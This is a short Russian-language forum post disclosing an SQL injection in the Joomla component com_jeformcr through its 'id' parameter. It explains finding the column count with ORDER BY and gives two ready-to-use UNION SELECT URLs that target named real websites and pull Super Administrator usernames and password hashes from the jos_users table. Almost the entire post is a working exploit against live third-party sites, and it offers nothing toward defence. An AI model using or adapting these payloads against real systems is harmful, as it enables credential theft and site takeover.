SQL inj в компоненте com_jeformcr

Доброго времени суток

SQl-Inj в com_jeformcr

Уязвимый параметр: id

Подбор кол-ва колонок через order+by

PoC:

http://www.rcreventos.com.br/rcr/index.php?option=com_jeformcr&view=form&id=-1+union+select+1,2,concat(username,0x3a,password), 4,5,6,7,8,9,10,11+from+jos_users+where+usertype='S uper%20Administrator'--

http://jrfu.org/index.php?option=com_jeformcr&view=form&id=-1+union+select+1,concat(username,0x3a,password),3, 4,5,6,7,8,9,10,11+from+jos_users+where+usertype='S uper%20Administrator'--